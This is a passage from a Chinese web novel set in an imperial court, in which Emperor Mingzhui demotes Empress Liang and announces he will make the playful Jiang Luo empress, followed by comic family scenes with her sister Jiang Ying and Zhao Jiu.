总不会是生产的时候,有人狸猫换太子,把她真正的儿子调包了。
明惠帝讪讪一笑,趁母亲暴躁之前赶忙告退。
很快,罪己诏颁布下去。
字字句句,都是明惠帝的肺腑之言。他深刻反省了自己身为君王,疏忽民情的过错,他不该对皇后太过信任宠爱,以致梁龚两家酿出大祸。
与此同时,废黜梁氏皇后之位的诏书也昭告天下。
废后不入永巷,而降为淑妃。
大魏延续了前梁后宫“三夫人九嫔”的古制,三夫人仅次皇后,位同三公,乃贵嫔、夫人、贵人。而九嫔则位比九卿,淑妃是九嫔之首。
明眼人都能看出来,皇帝还是给梁氏留了一丝情面。
然而,有人并不领情。
黄昏时分,一个小内侍跌跌撞撞、连滚带爬跑到议政殿外,求见明惠帝。
“陛下、陛下!大事不好了,皇……淑妃娘娘,悬梁自尽了!”
第172章 生疑
梁淑妃没死,悬梁之后,被贴身女官发现并很快救了下来。
明惠帝赶到时,就看见她如同没了声息一般静静地躺在榻上,脖颈处的勒痕呈暗红色,带着一点瘀迹,和周围的皮肤形成触目惊心的对比。
可见身体的主人当时是何等决绝。
若非贴身女官发现得及时,恐怕她真的就没命了。
梁淑妃对明惠帝的到来没有任何反应。她看透了这个男人的无情,口口声声的爱,不过就是挂在嘴边骗骗自己罢了!
“陛下,求求您劝劝皇…淑妃娘娘吧。”近侍们跪在地上,哭着道。
娘娘金枝玉叶,一向养尊处优,什么时候受过这样的**。
陛下不是爱重娘娘吗,为何还要如此狠心对她?严惩梁家不够,现今又废黜皇后之位。
难道真应了那句君恩如流水,匆匆不回头?
明惠帝轻轻一叹,语气说不出的疲倦,“阿泽,你到底想要我怎么做。”
听到这话,梁淑妃终于有了一点反应。
她睁着眼,瞳孔涣散,因白绫勒颈而声带受损,开口如有刀片在磨,说话十分艰难,“我要你…放过,梁家。”
明惠帝摇了摇头,“不行。”
梁淑妃面色青白,泪水自眼角滑落,隐没发丝。
那就没有什么好说的了。
是她太过天真,到了如今,还抱有一丝幻想,觉得他会顾念旧情。
“我姑且就当你自尽是为了替梁家赎罪。但是阿泽,”明惠帝淡淡道,“你知道你父亲近些年里,让族人私下开采盐矿吗?”
开采盐矿。
这四个字如闷雷炸在耳畔,梁淑妃蓦地睁大眼眸,唇瓣微微颤抖。
她想说她不知道。
然话到嘴边,苦涩蔓延,再想解释也已经没有任何意义。
梁淑妃从来不觉得自己娘家人做的事情很过分,圈地、放贷、逼良为奴,不过是士族豪强众所周知的敛财手段,就算犯罪,也罪不至死。
梁家是手段狠辣不假,可这才是常态不是吗?否则那些个士族庞大的家业,积累的财富又是从何而来?谁能保证自己永远清清白白?就连赵家也不能!
至于那些被欺凌致死的百姓,只能说他们命不好,投错了胎。
平民百姓在士族豪强眼中不过就是蝼蚁,谁会因为踩死几只蚂蚁而心存愧疚?
梁淑妃自然也不例外。
她唯独没想到的是,父亲竟然私下派人开采盐矿!
梁家盐商发家,但自从大魏开国以来,盐这一块便由朝廷管控,梁父这种行为,已经完完全全触碰到了魏律,就是夷三族也不为过!
明惠帝静静看着她,“你若是不想留在宫里,我可以给你置办新的户籍路引,送你去江南居住。”
梁淑妃惨淡一笑。
她娘家人死的死,流放的流放,她还有什么颜面活在世上?
“求陛下赐我一死。”
明惠帝见她心如死灰,终究还是心有不忍,叹道:“你四叔那一房不曾参与开采盐矿的事宜,亦无沾染人命,朕会酌情处置。”
梁四叔是梁父的庶弟,性格老实到可以用窝囊来形容,当初梁家出了个皇后,四房因为庶出被排挤,没有享受富贵,如今大难临头,倒是正好逃过一劫。
说完这些话,明惠帝就离开了。
梁淑妃失神地望着上方,贴身女官心中着急,劝说道:“娘娘,陛下还是顾念旧情的,眼下梁家尚未灭族,只是一时低谷,您可不能一蹶不振,就此放弃啊!唯有尽快同陛下重修旧好,才能重振梁家。”
不知道哪个字眼戳中了梁淑妃的心窝,她眼中总算有了一丝光。
“你说的对……”她喃喃道,嗓音沙哑。
高忱心软好说话,又是个念旧情的性子,废黜皇后之位,肯定是为了平息民愤,以此来保全她。
想到这,梁淑妃泪如雨下,心生无边悔意。
她真是猪油糊了心,才会一次又一次践踏明惠帝的真心。
好在及时回头,一切都还来得及。
接下来的几日,梁淑妃没有再拒绝太医的医治,她要尽快让脖子上的勒痕消失,嗓子也得快些恢复正常。
明惠帝听了宫人的禀报,只当她是想开了,就没有放心上。
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他现在将心分成了两半。
一半扑在政事上,另一半,则是扭捏着靠近姜珞。
明惠帝翻了翻私库,巧借名目,明着是赏赐赵咎,实际上都是姑娘家感兴趣的东西。
果不其然,姜珞很满意。
还写信夸他有眼光!
明惠帝红着脸,把信收好放进信匣子上锁保管。
另一边,姜珞围在姜璎身边,狂吹彩虹屁。
“姐姐,你看!我就说这藕荷色的料子不错,做成曲裾,穿在姐姐身上别提多美丽了!”
“还有这宝石吊坠,只有姐姐这样的修长白皙的脖颈戴着,才不显得喧宾夺主。虽说沉是沉了些,但真的好美哦。”
“就是黄金镯子有些俗气,上面刻的什么啊?金龙?红宝石?”
姜珞给姜璎戴了一下,发现还挺合适,立马无脑狂吹。
“姐姐你真的……”
“你再夸我,也还是要抄族谱的。”姜璎把首饰全都取下,放回托盘。
姜珞假装没听见,在托盘里挑挑拣拣,找了一根白玉簪,要给姜璎戴上。
她特别乐衷于打扮姜璎,嘴里还哼着“我的姐姐不是人,九天仙女下凡尘”。
任凭满头华翠、琳琅珠玉,也掩盖不了姜璎的美丽。
“好了,别玩儿了。”
“没玩啊。”
姜璎握住姜珞的手,若有所思地看着她,“我问你,陛下为什么忽然赐下这么多姑娘家用的东西?”
姜珞举手:“我知道!”
姜璎点头,“你说。”
姜珞翘了翘嘴,“因为他有眼光!知道这些锦缎珠宝很适合姐姐!我也这么觉——呜呜呜。”
喋喋不休的小嘴巴被捏了起来。
姜珞也不反抗,只发出含糊的声音,眼睛眨巴眨巴,试图让姐姐心软。
“不对。”姜璎皱起眉,让人把所有东西收起来放好。
“呜呜。”姜珞求饶道,姐姐放过她吧,她是一个好孩子。
好在救星从天而降。
赵咎进来看到这个场景,想笑又压平嘴角,“太后娘娘召见,阿池,你先放她一马吧。”
第173章 撞破
短短几日,姜珞再次踏足皇宫。
这一回来接的是赵太后身边的郑女官,她对姜珞露出一个和善可亲的笑容,言语间十分恭敬。
密信已经快马加鞭送往秦州,虽然还没有到姜昀手中,但明惠帝和赵太后确信,姜昀不会拒绝这门亲事。
郑女官心知肚明,要不了不久,姜珞就是铁板钉钉的新后,态度好一些总是没错的。
“姜二姑娘,这边请。”
“嗯。”
相比之下,姜珞就随意许多,既没有得意忘形、显出高人一等,也没有即将面对未来婆母的紧张惶恐。
原先怎么样,她现在还是怎么样。
入宫对她来说,仿佛就是喝水吃饭的家常事。
别说郑女官了,就是赵太后见了都不禁暗暗点头。
虽是个姨娘生的,但好歹记在萧晞名下,也算阿叔的后代,看姜珞的神情仪态,就知道天水姜氏没有亏待她。如此一来,赵太后再没什么可不放心的了。
赵太后并不知道,姜珞的坦荡自然,与家族给予的底气没有太大关系,更多的是性格三观被扭曲之后的结果。
她在生母的驯养下长大,被养得骄纵自我,看似天不怕地不怕,实则这天底下除了姜璎,她根本没有什么可在乎的东西。
姐姐是她的一切。姐姐比她的生命还要重要。没有姐姐,就没有她。
——这几句话,姜珞记在心里、刻在骨里,宛如烙印一般,打在灵魂上。
姜璎没有找回来之前,姜珞最大的愿望就是能和姐姐团聚,姜璎找回来之后,姜珞的苦恼只剩下抄族谱一件事。
她这次进宫,还不忘偷偷把抄的一份族谱带上。
就等见了明惠帝,理直气壮地要求:
“帮我抄族谱!”
明惠帝差点被口水呛到。
好在郑女官领她过来便退下了,否则看到这一幕,还要当场惊掉下巴。
容已眼观鼻鼻观心,假装自己不存在。
姜珞也不客气,直接把除明惠帝以外的人当空气,她颐指气使,且正当理由十分充足。
“你说的话不管用,你得负责才行。快点,按照我的字迹,嗯…就先抄十份吧!”
“好。”明惠帝一口答应,眼神欲言又止,最终还是没忍住问,“除了抄族谱以外,姜璎还有惩罚你其他吗?”
“姐姐才不打我呢!”姜珞撅了撅嘴道,“只有姐夫会打我手板心。”
她举起手给明惠帝看,委屈巴巴,“昨天刚打完,好疼的。”
白白嫩嫩的手心一点儿也看不出挨打的痕迹。
但明惠帝却心疼起来,握着姜珞的手,低头轻轻吹气,“是我不好,我说话不管用,让你受委屈了。”
温凉的风拂过手心,一下又一下。
似羽毛轻点水面,波纹缱绻。
姜珞本能地蜷缩起手指,她看着明惠帝,他语气闷闷的,是真心实意地在反省自己。
好奇怪哦。
她心里冒出这样一个念头,很快转瞬即逝。
明惠帝的态度实在端正,端正到姜珞都有点不好意思仗势欺人,只能嘟囔道:“本来就是你不好…虽然我有错,但话又说回来,谁年轻不犯错啊,归根结底是你没本事,你都保护不了我。”
某人只字不提自己抄族谱抄累了,玩心大发去剪烛芯,差点把书房烧着了的事。
问就是不小心的!
姜珞很快又支棱起来,“哎呀!不要墨迹了,快写!”
明惠帝听话照做,自觉得不行,都不用姜珞指导,看一眼就能大致学到几分精髓,下笔足有七八分像。又怕姜珞无聊,给安排上话本子和零嘴打发时间。
不过,姜珞也就安分了不到一刻钟。
她很快把话本子扔到一边,在议政殿内东转西转,宛如巡视自己领地的母老虎。
“高忱高忱。”姜珞发现了新鲜事物,一脸兴奋地举起手,指着墙上的画道,“你被人骗啦!这幅《小蓬莱图》是假的!”
假的。
假的。
假的。
姜珞的声音很大,可谓余音绕梁,几乎外头的人都听见了。
容已低下头,默默给自己捏了把汗。
他不是当事人都感觉有些挂不住脸,更别提明惠帝了。皇帝可是这天底下最看重脸面的人!
好巧不巧,明惠帝是
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个例外。
他望着姜珞,她眼眸明亮,得意洋洋,神气又可爱。
就像一只等着人夸的猫咪。
“浓浓真厉害!”明惠帝不假思索道,脸颊跟着泛起薄红,虚心求教,“你是怎么做到的?像我就看不出来。”
姜珞脸上笑容扩大,骄傲地抬起脸,“也不怪你没眼力,因为真迹在天水姜氏,我姐姐的院子里头!”
“这样吧,等回头我跟姐姐撒撒娇,让人把画送到盛京,给你看两眼。”
明惠帝红着脸,“不必麻烦…我知道你对我好就够了。”
姜珞白他一眼,“想什么呢?给你看两眼,又不是送你了,那可是我姐姐的东西。”
明惠帝支吾道:“我没想…”
姜珞哼了一声,“没想就行,你也别老自作多情,有点见识行不行?跟个土包子似的。真假都分不出来,还皇帝呢。”
明惠帝唯唯诺诺,看着很窝囊,但眼角眉梢藏着细碎笑意。
他喜欢被念叨。
比冷言冷语、一声不吭要好许多。
姜珞逛累了,就趴在书案,枕着手看他抄族谱。
“高忱、高忱、高忱……”
“怎么了?”
“你快点抄嘛,我好无聊。”
“很快了、很快了。”明惠帝分出精力安抚她,“要不然,我让容已送你回去,跟姜璎说一声……”
姜珞道:“不行!他去了,姐姐就知道了!”
明惠帝:“什么知道了?”
姜珞皱了皱眉,突如其来的脾气,“知道我俩不清不楚!你都没立我为皇后,还私下找我,被姐姐知道她肯定会生气的!”
说完就要起身走人。
差点忘了还有这一茬!
她得赶紧回去跟姐夫商量!
赵咎这个人蔫坏蔫坏,说不定事情暴露那一天,就把她一个人推出去面对姐姐的怒火!
“浓浓!”明惠帝急急忙忙拉住她,姜珞甩了一次,明惠帝又拉上来,这一幕被梁淑妃看见。
她怔在原地,满是不可置信。
“你、你们——”
梁淑妃气得浑身发抖,从牙齿里挤出话来:“不知廉耻!”
第174章 行使
姜珞顺着这声斥骂的源头望去,就见梁淑妃站在不远处,手里提着一个食盒,苍白的面色因愤怒而蔓上一丝不健康的红。
她迎风而立,削瘦的肩膀微微发颤,眼中似有水光浮动。
她脸上悔怨交织,痛苦不已,看向明惠帝的眼神充满谴责质问,仿佛在说:你怎么能做对不起我的事?
姜珞没忍住噗嗤一笑,甩开了明惠帝的手,不紧不慢来到梁淑妃面前。
第一次见面,她自称“臣女”,行跪拜大礼,恭恭敬敬,毫无怨怼之心,依言跪在椒房宫外。
第二次见面,她盈盈屈膝,“天水姜氏姜珞,见过皇后娘娘。”含笑间暗藏机锋。
而今,第三次见面。
姜珞心中喟叹一声,终于不用再行礼问安了。
她脸上带着好奇,笑盈盈问:“淑妃娘娘,您方才是在骂我,还是骂陛下呢?”
梁淑妃没有理她,只定定地看着明惠帝,倔强得不肯掉泪。
“旧人如昨日黄花,陛下这么快就厌倦了吗?”
“淑妃——”
明惠帝才开口,就被姜珞打断。
“什么旧人?”
她上下打量着梁淑妃,忽而甜甜一笑,“原来是淑妃娘娘呀!您是不是误会什么了?”
她一脸无辜,慢条斯理道:“我可没有那种同罪臣之女争宠的癖好。”
梁淑妃霍然抬眸,呼吸都不由加快几分,“你说什么!”
罪臣之女。
这四个字将梁淑妃钉死在了耻辱柱上。
她再也忍不住,泪水溃堤,咬牙切齿:“你尚未入宫,无名无分,岂敢这样欺我!”
姜珞被凶懵了,眼眶蓦地一红。
她转头恶狠狠瞪向明惠帝,还没说话,眼泪就砸了下来,明惠帝心慌无比,伸出手想要安抚,恰是温热的液体落在手背,他被烫了一下,心脏骤缩。
姜珞方才就是为了名分生气。
听到梁淑妃这么说,直接给气哭了。
明惠帝胸口没由来一股怒火,他挡在姜珞身前,清俊尔雅的面容此刻阴沉无比。
“不是无名无分。”他沉声道,一字一句,尽显帝王威仪。
“朕已经拟好诏书,立天水姜氏之女姜珞为后,只待择选佳期,三媒六聘,娶为正妻。”
梁淑妃脑子轰然一声,再也听不见其他声音。
是假的!
一定是假的!
她颤抖着身子,死死地抓住明惠帝的衣袖,如抓救命稻草一般,泪如雨下。
“不、不会的…陛下,高忱,你是在故意气我对不对?你在气我,气我给梁家求情。”
“我知道错了,阿忱,我再也不给他们求情了,我们回到从前,好好过日子…”
梁淑妃哭得尤为可怜。
她另一只手还提着食盒,泪光闪烁的眼眸流露出一丝希冀,“阿忱,我给你做了栗子糕。”企图以此来令明惠帝心软。
可是,不论她说什么,明惠帝都纹丝不动。
他定定看她许久,将衣袖从她手心抽了出来,沉声道:“我不爱吃梨子糕。”
梁淑妃的心随着手掌一起往下坠。
“怎么会…?”她摇了摇头,不肯相信,“你还在生我的气,对不对?你以前明明很喜欢吃,我只做了一次,你就念念不忘…”
明惠帝打断道:“因为那是你唯一一次为我下厨。”他语气说不出的失望,也是后来才知道,“栗子糕,是常三郎从小到大最爱吃的点心。”
“不是我。”
梁淑妃愣在原地,蜿蜒的泪迹爬在脸上,又可怜又狼狈。
“那你喜欢吃什么,我、我去给你做…”
“说够了吗?”姜珞倏忽出声,她一点儿也不想看这种痴情绵绵的戏。
明惠帝是喜欢谁,就无条件站在谁那边。
姜珞一发话,他立马主动跟梁淑妃保持距离,取出帕子小心翼翼擦着她眼角的湿润。
“不说了…”明惠帝低声哄她,“浓浓,我们不生气了,我现在就下诏书好不好?”
姜珞看他许久,方才“嗯”了一声,带着点鼻音。
“那你现在去把诏书拿给我。”
“好。”明惠帝对她无有不应,看也没看梁淑妃,收好帕子就回议政殿取诏书。
明惠帝跟赵太后说的话全是发自内心。
他不会,也不能再喜欢梁淑妃。
因为但凡有一丝动摇,都是对姜珞的不尊重。
爱一个人,自当全心全意。
在高忱心里,姜珞是个不谙世事、天真烂漫的小姑娘,他年长她几岁,理应处处包容。许下诺言,就该好好兑现。
梁淑妃见明惠帝对姜珞百依百顺,可谓如鲠在喉,愈发憎恨。
“你到底使了什么狐媚手段!”她恨恨道,把一切都怪在姜珞头上。
姜珞没出现之前,明惠帝的偏爱只独属于她一人。
但自从姜珞出现,他们之间就开始产生矛盾裂痕,再也回不到过去!
姜珞挑了挑眉,眼尾一抹红,宛如胭脂色。
“你敢这么跟我说话?”
梁淑妃气道:“我再怎么样也是淑妃,而你,还不是皇后!”
话刚说完,迎面而来一个大耳刮子!
姜珞才不跟她讲道理呢!
想打就打!
力道刚刚好,懵逼不伤脑。
直接把梁淑妃打傻了。
“你——你敢打我?!”
“就打了,怎么样?”姜珞甩了甩手,嘻嘻笑道,“你跟你那个表妹还真是一家人,挨打都是说的一样的话。”
正好明惠帝过来。
他看了看捂着脸的梁淑妃,又看向姜珞,语气有片刻迟疑,“浓浓…?”
姜珞伸出手,明惠帝乖乖把诏书奉上。
她笑起来,带着明晃晃的恶意,将几日之前梁淑妃对她说的话,原模原样还回去。
“妃见皇后,难道不该行跪拜大礼吗?”
梁淑妃抖着唇,明惠帝没有说话,他也不敢说话。总觉得自己要是插嘴,浓浓肯定也要给他一耳刮子。
梁淑妃哭着道:“高忱,你就任由她打我吗?我们夫妻好歹多年情分——!”
不就提前行使一下皇后的权力嘛,多大点事儿啊。
姜珞看向明惠帝,语气理所当然:“我是你的妻子,帮你管教一下妃嫔,你没意见吧?”
第175章 心动
明惠帝当然没有意见。
他微微抿嘴,“妻子”两个字在舌尖化开,如蜜糖一般,一路甜到了心尖,窃喜与满足揉杂充盈了整颗心脏,鼓鼓囊囊,是前所未有的幸福。
他望着姜珞的眼神好似一汪清澈泉水,日照之下,泛着粼粼柔光,一开口,眼角眉梢的笑意争先恐后往外逃。
“没关系。你做主就好。”
对于明惠帝的回答,姜珞表示非常满意。
她点了点下巴,眼底一闪而过恶劣:“既然如此,就罚你在这跪半个时辰。”
“毕竟,冒犯皇后,可是大罪呢。”姜珞甜甜一笑,扭头看向明惠帝,“我说的对不对?”
日光落在她脸上,连细小绒毛都清晰可见,猫眼熠熠生辉,笑容甜美极了。
明惠帝的脸又莫名其妙烧起来,心怦怦直跳,近乎慌乱地移开目光,含糊地“嗯”了一声。
“浓浓,我…我先进去批奏折。”
“去吧。”姜珞大方地摆手,杵着也没什么用,还容易影响她发挥。
明惠帝看也不看梁淑妃,连忙走了,背影好似落荒而逃。
怎么回事啊!他在心里哀嚎,揉了揉脸,试图给自己降温。
结果脸颊越烧越猛,心跳也跟着疯狂蹦哒。
“陛下…?”
“我为什么一见她,就脸红心跳?”明惠帝看向容已,神情很严肃。
容已吓了一跳,揣测道:“难道…姜二姑娘会下蛊?陛下,要不让邢医官过来看…”
明惠帝想也不想道:“不许胡说!浓浓不是那种人!”
容已:“……”
陛下,还是查查吧!
不是被下蛊,可说不出这话啊!
姜珞还不知道自己被安上了“蛊王”的称号,她笑盈盈看着梁淑妃,“跪啊,你怎么不跪?”
梁淑妃眼底怨恨如有实质,有那么一瞬间,她也怀疑明惠帝被姜珞下蛊了。
否则,那个曾经爱她爱得不可自拔的男人,怎么会任由她被人欺负?!
“诏书未下,你还算不得皇后。”梁淑妃咬着牙道,努力不让眼泪落下。
她已经够狼狈了,绝不能再让姜珞看笑话。
话说完,下巴被抬起来。
梁淑妃瞳孔骤缩,姜珞用诏书勾起她下巴,动作漫不经心,又拍了拍她脸颊。
“哎呀呀,淑妃呀,你非要跟我较真,就别怪我到时候入宫,第一个收拾你。”
“你敢!”梁淑妃道,很明显的虚张声势。她内心一片荒凉可悲,为自己,也为家族…
原来,没了明惠帝的宠爱,她什么也不是。
这份醒悟来的太迟。
这一回,明惠帝没有在原地等候。他被光所吸引,并逐光而去。
“好可怜。”姜珞作为唯一的观众,给予了最高的评价,然而手下却不曾留情,她拍着梁淑妃的脸,“我可不是怜香惜玉的人,就算你眼泪掉一池子,对我来说也不管用。”
“来人。”
她笑着吐出几个字,“帮帮淑妃。”
梁淑妃身边的宫人陡然一惊,尚未反应过来,便见两个内侍,一左一右压着梁淑妃跪下去。
膝盖砸在砖面,声音清脆且悦耳。
梁淑妃又气又疼,浑身发抖,尖声道:“姜珞!你还不是皇后!你不能行使皇后的权力!”
姜珞道:“掌嘴。”
想了想,又补充道:“打两下吧。”
啪啪两巴掌,左右开弓,打得梁淑妃头晕耳鸣。
议政殿的内侍为了讨好姜珞,也算是下功夫了。
姜珞看也不看他们谄媚的笑容,只微微倾身,一字一句道:“这一巴掌,是打你越俎代庖。”
梁淑妃死死盯着她。
姜珞脸上的笑容隐没,垂眸时,眼睫落下一片阴影,声音狠戾,“我姐姐新妇过门,正是浓情蜜意之时。太后尚且不曾多管闲事,你倒好,赐下宫人,打我姐姐的脸。”
“你这个贱人。”
“你——!”
“你什么你?”姜珞听到她的声音就厌烦,掐着她的脸,“另外一个巴掌,是打你不知所谓。”
“癞蛤蟆想吃天鹅肉,给你机会,你也不中用。以前你怎么欺负高忱我不管,但是以后,你再敢到他面前晃悠,我就砍你的手指。”
“晃一次,我砍一根!”
她眼神幽深,令人不寒而栗。
梁淑妃莫名打了个寒颤,总觉得她会说到做到……
姜珞欣赏了一会儿梁淑妃脸上的恐惧,颇为满意,想起什么,忽然多云转晴,笑靥如花。
她拍了拍手心,把诏书扔给一旁内侍,吩咐道:“去找个锦盒装起来。”
“我要拿回家给姐姐看。”
“唯唯。”内侍连忙禀报明惠帝。
“什么?”明惠帝愣了一下,急急忙忙出来,想说些什么,又不好意思开口,欲言又止的看着姜珞,最后憋出一句,“你这么快就要回去吗?”
姜珞道:“不然呢?我还留着吃饭呀。”
她不想听明惠帝唠叨,“诏书放好没有?快点给我,我要拿给姐姐看。”
明惠帝掩下眼底失落,“已经让人去拿锦盒了…”
“不对!”
“怎么了?”
“你得跟我一起回去!”
姜珞抓住明惠帝的胳膊,理直气壮道:“上次姐姐看了诏书,可生气了,姐夫还打我手心!你这次必须跟我一起回去,证明这个诏书是真的,是你硬要塞给我,不是我逼迫来的!”
“当然不是你逼迫来的!”
姜珞道:“你说了没用,得人到场才行!不然姐姐不信我…”
想到这,又觉得委屈。
“我哪有天天闯祸嘛,姐姐对我有偏见,不过也不怪姐姐,可能是赵咎吹耳旁风…”
“好好好,我跟你回去。”明惠帝生怕她哭,连忙答应下来,让人去准备。
皇帝出行,最重要的就是安危。
禁军调动,其他倒也不必准备,主要还是姜珞催的急,她心虚得紧,得把高忱拉上做垫背,不然都不敢回家了……
梁淑妃就这么被无情忽视。
她孤零零地跪在议政殿外,不少宫人投来异样目光,简直令她羞愤欲死。
另一边,姜璎眼皮狂跳,总觉得心绪不宁。
是不是要发生什么事了?
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二更晚一点,不用等
第176章 撇清
“姐姐!”轻快的声音响起。
姜璎一抬头,就见姜珞如蝴蝶一般翩然而至,她现在回卫国公府就跟回自己家一样,再是稀松平常不过。
姜珞左看看右看看,没看见赵咎,“姐夫人呢?”
“他有事出去了。”
“哦。”姜珞将手背在身后,有点紧张,天杀的赵咎!死狐狸精!是不是早就算到了,所以跑这么快!
“怎么了,你找他有事?”姜璎语气温和,但姜珞从她眼神里莫名察觉出了几分审视,“可是太后娘娘有什么吩咐?”
姜珞缩了缩脖子,不敢在姐姐面前撒谎。
“其实,其实是陛下有吩咐…”
“陛下说什么了?”
“他说…姐姐你别这么看我,我害怕。”姜珞磨蹭着上前,小心翼翼挽住姜璎手臂,一边觑着她的脸色,一边哼哧哼哧道,“这个事情说来话长……”
姜璎道:“那就长话短说。”
姜珞眼神四处乱飘,还是不敢,“要不,我让他自己来跟你说。”
姜璎:“……”
她感觉不太对劲,望向门口。
香薷香附等仆婢屏气敛声,甚至可以用战战兢兢来形容。
而造成这一切的罪魁祸首,无疑就是院子里的人。
姜璎霍然起身,恭恭敬敬来到明惠帝面前,行礼道:“臣女拜见陛下,陛下万岁万岁万万岁。”
她刚成亲不久,一时还没改得了口。
“不必多礼!”
好歹也是小舅母,明惠帝哪能让她行跪拜大礼,但又不好亲自动手相扶,只能下意识求助姜珞。
“姐姐!”姜珞不用他说,连忙扶着姜璎手臂,心虚的不行,“那个,陛下今日是微服出行,不用如此大礼…”
姜璎看她一眼,又看向明惠帝,心中隐隐怪异,又不愿意往那方面去想,她垂眸道:“礼不可废。”
姜珞这下也顾不得其他,忙抱着她手臂道:“可废的,可废的,他要立我做皇后,还得跟我一起喊姐姐呢!”
明惠帝脑子一抽,张口道:“姐姐。”
姜璎:“……”
外头赵咎听到这声不要脸的姐姐,险些鸡皮疙瘩掉一地,进也不是、退也不是:“……”
好半晌,姜璎才艰难出声,“陛下,您是在说笑吧?浓浓年幼天真,如何能担此大任?”
有一就有二,反正喊都喊了,反正阿劫不在。明惠帝肃容道:“姐姐,别这么说,浓浓天真烂漫,知世故而不世故,德容兼备,心胸宽广,实在是母仪天下的最佳人选。更何况,我……”
他默默红了脸,声音渐小,“我亦心悦她,还请姐姐成全。”
姜璎:“……”
是看账本看久了,出现的幻觉吗?
她闭了闭眼,再睁开,面前依旧是明惠帝那张泛红而诚恳的脸。
完了。
她肯定魔怔了。
姜璎转身往里走,嘴里念着“魔障消除,妖魔鬼怪速速退去”。
所有人愣愣地她。
直到啪的一声,门被合上。
安静。
死一般的安静。
明惠帝讷讷道:“我这是吃闭门羹了吗?”
姜珞心慌慌,但还是下意识为姜璎说话,“我姐姐亲自做的闭门羹,给你吃就不错了!少挑三拣四!”
明惠帝弱弱提醒:“浓浓,你也在吃。”
姜珞哀嚎一声,扑上去拍门,“姐姐,姐姐别不理我,我是被逼的!”
明惠帝:“???”
门很快开了。
姜璎深吸一口气,看上去已经调整好状态,她扯过姜珞,“陛下面前,不许胡说八道。”
又上前对明惠帝歉意道:“臣妇一时失态,让陛下见笑了。”
这个状态很不对。
有种平静的疯感。
赵咎把抬出去的脚又收回来,默默躲在墙角。
归南捅了捅他,劝道:“九郎,早死晚死都得死……”
赵咎瞪他一眼,闭嘴。
归南欲言又止,其实想说,九郎能不能在被女君打死之前,把他调到二郎君身边?
他想尽快给自己找下家。
明惠帝惴惴不安,试探性道:“姐…舅母,我是真心喜欢浓浓的。”
姜璎微笑道:“陛下,自古儿女婚事皆由父母做主,臣妇不敢妄议立后大事,还请陛下见谅。”
明惠帝一听,多少有了点底气,“朕前几日就已经派人快马加鞭,给姜使君送去密信。”
姜璎:“……”
前几天。
她算了一下时间,差不多是废黜梁后的日子。
再往前推算,就是袁老夫人寿宴。
难道那个时候,明惠帝就已经对姜珞生出心思?
不对,应该说,是牛车里发生了什么。
姜珞开始冒虚汗,她没想骗过姐姐,但是,但是不能她一个人承受姐姐的怒火啊。
赵咎见她眼神心虚、四处乱飘,就知道要遭!
脑子急速运转,在想怎么脱身。
“姐姐!”
“阿池。”
异口同声。
姜璎看见赵咎从外头回来,心头异样愈浓,她不由看向姜珞,只见那双猫眼圆溜溜地转着,似乎有懊恼一闪而过。
错过时机了!
很好。
姜璎捏了捏手心,几乎可以确定:这个计划,或许早在寿宴之前,姜珞第一次进宫,就已经开始!
“阿劫。”明惠帝有点心虚,阿舅好歹帮他说句话啊。
赵咎看也没看他,一会儿姐姐一会儿舅母的,这要是见了姜昀,他还不得扑上去认爹?
好歹还是皇帝,半点不争气!
赵咎一脸正气凛然,有些话姜璎不方便说,他来说,“陛下,浓浓年纪尚小,岳父将她留在盛京,是想磨磨性子,过上几年再嫁人。您如此贸然行径,实在不当。”
姜璎冷眼旁观。
如果她没听错,姜珞是不是还“嘁”了一声?
明惠帝面色涨红,“朕带了诏书前来,是真心实意想要求娶姜二姑娘。虽冒昧一些,但,句句真心,绝无虚言!”
赵咎眉心一跳,忍不住看了姜珞一眼。
这动作是不是太快了一些?
姜珞为了撇清干系,连忙道:“姐姐,是陛下说我适合做皇后,我百般推脱,实在盛情难却!但是姐姐你要是不同意的话,我肯定听你的!”
明惠帝张了张嘴,面露震惊。终于明白了姜璎的家庭地位。
难怪,阿劫连个屁都不敢放……
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小剧场
高忱关门:舅母,刚才人多,我现在给你跪一个
哈哈哈哈哈哈我太喜欢皇帝了,真舍不得让浓浓做寡妇(不是)
【凡事发生皆有利于我】,非常感谢大家支持,鞠躬
第177章 婉拒
对于明惠帝的暗暗谴责,赵咎不以为然。
他不觉得这是怕媳妇的表现。夫妻之道,本就讲究一个相互谦让,阿池心思敏感,他多让让她不是应该的吗?更何况,能抱着媳妇睡觉,谁还想一个人孤零零睡书房?
僵持不到片刻,外头内侍禀报:“陛下,卫国公,卫国公世子等人前来拜见。”
今日恰好休沐。
卫国公一得知御驾亲临赵家,便急急忙忙赶来,连带着赵咨、赵哲两兄弟,换衣服都来不及。王氏和郑氏妯娌二人也坐不住了,让管事去请示明惠帝身边的贴身内侍,征得同意后,赶忙派人去京郊别庄。
明惠帝的一切食物都由那边供应,不管他留不留下用午食,王氏等人都得把一切准备齐全。
“微臣参见陛下。”卫国公父子三人被内侍领进来,毕恭毕敬行礼问安。
“今日到访,是为私事,本不欲惊动大父。”明惠帝笑着抬手,“不必多礼。起来吧。”
“唯唯。”卫国公等人应声,暗自揣摩明惠帝口中的“私事”。
高忱还是太子的时候,倒是时常夜宿蓼莪院,但自从登基,别说夜宿,就是出宫的次数都屈指可数。他说的“私事”,总不会是跟赵咎有关。
卫国公瞪了一眼幼子,对明惠帝拱手道:“陛下,可是赵咎又给您添麻烦……”
“小舅好端端的,怎么会给朕添麻烦?”明惠帝摆了摆手,打断卫国公的话,“都下去吧。”
赵咎夫妻自卫国公进来便开始沉默,赵咎跟父亲没什么话好说,姜璎跟公爹不熟,至于姜珞,她倒是想下一下这老东西的面子,又怕给姐姐惹麻烦,只能忍下来。
赵咎再不好,那也是他们姜家的女婿,打狗还得看主人呢!一开口就是定赵咎的罪,有他这么对自己亲儿子的吗?生怕赵咎的日子太好过了是吧!
姜珞忿忿不平,“姐姐,你放心,等我做了皇后,我立马让姐夫顶了卫国公尚书令的位置!”
看他还敢不敢嚣张!
姜璎:“……”
赵咎:“……”
明惠帝戳了戳姜珞的胳膊,提醒道:“浓浓,我还在这呢。”
当着他面说这些是不是不大好?
姜珞一脸理直气壮,“就是说给你听的!”
明惠帝有些为难道:“卫国公并无过错,让他退位让贤,说不过去啊。”
姜珞一听,立马发脾气,“这也不行那也不行,要你有——诶诶疼!”
姜璎拧着她胳膊,对明惠帝低头道:“陛下,她犯癔症了,臣妇即刻带她下去,好好医治。”
最后四个字跟紧箍咒似的。
姜珞顿时老实如鹌鹑。
